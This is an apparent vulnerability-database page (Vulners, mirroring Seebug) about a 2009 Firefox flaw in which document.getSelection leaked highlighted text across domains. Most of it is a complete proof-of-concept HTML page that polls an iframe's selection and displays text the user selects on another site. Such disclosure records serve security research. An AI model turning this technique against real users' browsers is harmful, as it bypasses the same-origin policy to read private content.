Lucene search
K

Firefox document.getSelect跨域信息泄露漏洞

🗓️ 03 Nov 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 38 Views

Firefox document.getSelect跨域信息泄露漏洞 in Firefox allows remote attackers to bypass the same-origin policy and read highlighted text from other domains

Related
Code

                                                <?xml version="1.0"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<!--
Copyright (c) 2009, Gregory Fleischer ([email protected])
License: Revised BSD
-->
<head>
<title>document.getSelection</title>
<script type="text/javascript">//<![CDATA[
var doc0, iframe0;
var selected = "";
var watcher = null;
function get_selection() {
    try {
    var s = doc0.getSelection();
    if (s) {
        if (s != selected) {
        selected = s;
        alert(s);
        }
    }
    } catch(e) {
    window.status = "error: " + e;
    }
}
function setup_watch() {
    watcher = setInterval(function() {
    get_selection();
    }, 500);
}

function set_location() {
    if (watcher) {
    clearInterval(watcher);
    }
    iframe0.onload = function(){setup_watch();}
    iframe0.src = document.getElementById("input0").value;
}

function init() {
    iframe0 = document.createElement("iframe");
    iframe0.src = "about:blank";
    iframe0.id = "iframe0";
    iframe0.height = "480";
    iframe0.width = "800";
    document.body.appendChild(iframe0);

    doc0 = iframe0.contentDocument;
}

//]]>
</script>
<style type="text/css">
body {
    margin: 5px 5% 5px 5%;
}
</style>
</head>
<body onload="init()">
<input type="text" size="48" name="input0" id="input0"
    value="http://www.google.com" />
<input type="button" name="go" value="go" onclick="set_location();"/>
<br />
</body>
</html>
<!-- Keep this comment at the end of the file
Local variables:
mode:xml-html
sgml-declaration:"~/lib/DTD/xhtml1/xhtml1.dcl"
sgml-default-dtd-file:"~/lib/DTD/xhtml1/xhtml1-transitional.ced"
End:
-->
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation